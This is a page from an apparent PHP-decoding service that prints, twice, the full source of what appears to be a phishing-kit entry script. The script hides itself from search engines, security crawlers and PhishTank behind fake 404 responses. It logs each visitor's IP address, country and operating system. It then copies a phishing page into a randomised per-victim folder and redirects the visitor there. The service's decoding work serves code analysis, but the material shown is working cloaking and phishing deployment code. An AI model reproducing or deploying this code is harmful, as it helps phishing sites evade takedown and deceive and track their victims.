Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); error_reporting(0); include "os.php"; include "./bots/antibots1..

Decoded Output download

<?php 
session_start(); 
error_reporting(0); 
include "os.php"; 
include "./bots/antibots1.php"; 
include "./bots/antibots2.php"; 
include "./bots/antibots3.php"; 
include "./bots/antibots4.php"; 
include "./bots/antibots5.php"; 
include "./bots/antibots6.php"; 
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); } 
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); } 
date_default_timezone_set('Africa/Tunis'); 
$TIME = date("d-m-Y H:i:s");  
$PP = getenv("REMOTE_ADDR"); 
$J7 = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$PP"); 
$COUNTRY = $J7->geoplugin_countryName ; 
$ip = getenv("REMOTE_ADDR"); 
$OS =getOS($_SERVER['HTTP_USER_AGENT']); 
$file = fopen("logs.txt","a"); 
fwrite($file,$ip." - ".$TIME." - ".$COUNTRY." - ".$OS."
")  ; 
function is_bitch($user_agent){ 
    $bitchs = array( 
        'Googlebot',  
        'Baiduspider',  
        'ia_archiver', 
        'R6_FeedFetcher',  
        'NetcraftSurveyAgent',  
        'Sogou web spider', 
        'bingbot',  
        'Yahoo! Slurp',  
        'facebookexternalhit',  
        'PrintfulBot', 
        'msnbot',  
        'Twitterbot',  
        'UnwindFetchor',  
        'urlresolver',  
        'Butterfly',  
        'TweetmemeBot', 
        'PaperLiBot', 
        'MJ12bot', 
        'AhrefsBot', 
        'Exabot', 
        'Ezooms', 
        'YandexBot', 
        'SearchmetricsBot', 
		'phishtank', 
		'PhishTank', 
        'picsearch', 
        'TweetedTimes Bot', 
        'QuerySeekerSpider', 
        'ShowyouBot', 
        'woriobot', 
        'merlinkbot', 
        'BazQuxBot', 
        'Kraken', 
        'SISTRIX Crawler', 
        'R6_CommentReader', 
        'magpie-crawler', 
        'GrapeshotCrawler', 
        'PercolateCrawler', 
        'MaxPointCrawler', 
        'R6_FeedFetcher', 
        'NetSeer crawler', 
        'grokkit-crawler', 
        'SMXCrawler', 
        'PulseCrawler', 
        'Y!J-BRW', 
        '80legs.com/webcrawler', 
        'Mediapartners-Google',  
        'Spinn3r',  
        'InAGist',  
        'Python-urllib',  
        'NING',  
        'TencentTraveler', 
        'Feedfetcher-Google',  
        'mon.itor.us',  
        'spbot',  
        'Feedly', 
        'bot', 
        'curl', 
        "spider", 
        "crawler"); 
    	foreach($bitchs as $bitch){ 
            if( stripos( $user_agent, $bitch ) !== false ) return true; 
        } 
    	return false; 
} 
if (is_bitch($_SERVER['HTTP_USER_AGENT'])) { 
    echo "404 NOT FOUND"; 
    exit; 
} 
for ($DIR = '', $i = 0, $z = strlen($a = '123456789')-1; $i != 5; $x = rand(0,$z), $DIR .= $a{$x}, $i++); 
$src="./Dr Hard"; 
$random = rand(0,100000).$_SERVER['REMOTE_ADDR']; 
$dst		= "./users/userID-".$DIR; 
	 
function recurse_copy($src, $dst) { 
 
	$dir = opendir($src); 
	$result = ($dir === false ? false : true); 
 
	if ($result !== false) { 
		$result = @mkdir($dst); 
 
		if ($result === true) { 
			while(false !== ( $file = readdir($dir)) ) {  
				if (( $file != '.' ) && ( $file != '..' ) && $result) {  
					if ( is_dir($src . '/' . $file) ) {  
						$result = recurse_copy($src . '/' . $file,$dst . '/' . $file);  
					} else {  
						$result = copy($src . '/' . $file,$dst . '/' . $file);  
					}  
				}  
			}  
			closedir($dir); 
		} 
	} 
 
	return $result; 
} 
recurse_copy( $src, $dst ); 
header("location:".$dst.""); 
?>

Did this file decode correctly?

Original Code

<?php
session_start();
error_reporting(0);
include "os.php";
include "./bots/antibots1.php";
include "./bots/antibots2.php";
include "./bots/antibots3.php";
include "./bots/antibots4.php";
include "./bots/antibots5.php";
include "./bots/antibots6.php";
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
date_default_timezone_set('Africa/Tunis');
$TIME = date("d-m-Y H:i:s"); 
$PP = getenv("REMOTE_ADDR");
$J7 = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$PP");
$COUNTRY = $J7->geoplugin_countryName ;
$ip = getenv("REMOTE_ADDR");
$OS =getOS($_SERVER['HTTP_USER_AGENT']);
$file = fopen("logs.txt","a");
fwrite($file,$ip." - ".$TIME." - ".$COUNTRY." - ".$OS."\n")  ;
function is_bitch($user_agent){
    $bitchs = array(
        'Googlebot', 
        'Baiduspider', 
        'ia_archiver',
        'R6_FeedFetcher', 
        'NetcraftSurveyAgent', 
        'Sogou web spider',
        'bingbot', 
        'Yahoo! Slurp', 
        'facebookexternalhit', 
        'PrintfulBot',
        'msnbot', 
        'Twitterbot', 
        'UnwindFetchor', 
        'urlresolver', 
        'Butterfly', 
        'TweetmemeBot',
        'PaperLiBot',
        'MJ12bot',
        'AhrefsBot',
        'Exabot',
        'Ezooms',
        'YandexBot',
        'SearchmetricsBot',
		'phishtank',
		'PhishTank',
        'picsearch',
        'TweetedTimes Bot',
        'QuerySeekerSpider',
        'ShowyouBot',
        'woriobot',
        'merlinkbot',
        'BazQuxBot',
        'Kraken',
        'SISTRIX Crawler',
        'R6_CommentReader',
        'magpie-crawler',
        'GrapeshotCrawler',
        'PercolateCrawler',
        'MaxPointCrawler',
        'R6_FeedFetcher',
        'NetSeer crawler',
        'grokkit-crawler',
        'SMXCrawler',
        'PulseCrawler',
        'Y!J-BRW',
        '80legs.com/webcrawler',
        'Mediapartners-Google', 
        'Spinn3r', 
        'InAGist', 
        'Python-urllib', 
        'NING', 
        'TencentTraveler',
        'Feedfetcher-Google', 
        'mon.itor.us', 
        'spbot', 
        'Feedly',
        'bot',
        'curl',
        "spider",
        "crawler");
    	foreach($bitchs as $bitch){
            if( stripos( $user_agent, $bitch ) !== false ) return true;
        }
    	return false;
}
if (is_bitch($_SERVER['HTTP_USER_AGENT'])) {
    echo "404 NOT FOUND";
    exit;
}
for ($DIR = '', $i = 0, $z = strlen($a = '123456789')-1; $i != 5; $x = rand(0,$z), $DIR .= $a{$x}, $i++);
$src="./Dr Hard";
$random = rand(0,100000).$_SERVER['REMOTE_ADDR'];
$dst		= "./users/userID-".$DIR;
	
function recurse_copy($src, $dst) {

	$dir = opendir($src);
	$result = ($dir === false ? false : true);

	if ($result !== false) {
		$result = @mkdir($dst);

		if ($result === true) {
			while(false !== ( $file = readdir($dir)) ) { 
				if (( $file != '.' ) && ( $file != '..' ) && $result) { 
					if ( is_dir($src . '/' . $file) ) { 
						$result = recurse_copy($src . '/' . $file,$dst . '/' . $file); 
					} else { 
						$result = copy($src . '/' . $file,$dst . '/' . $file); 
					} 
				} 
			} 
			closedir($dir);
		}
	}

	return $result;
}
recurse_copy( $src, $dst );
header("location:".$dst."");
?>

Function Calls

session_start 1
error_reporting 1

Variables

None

Stats

MD5 dff37f0fd5464568a9503eb7c42dd514
Eval Count 0
Decode Time 95 ms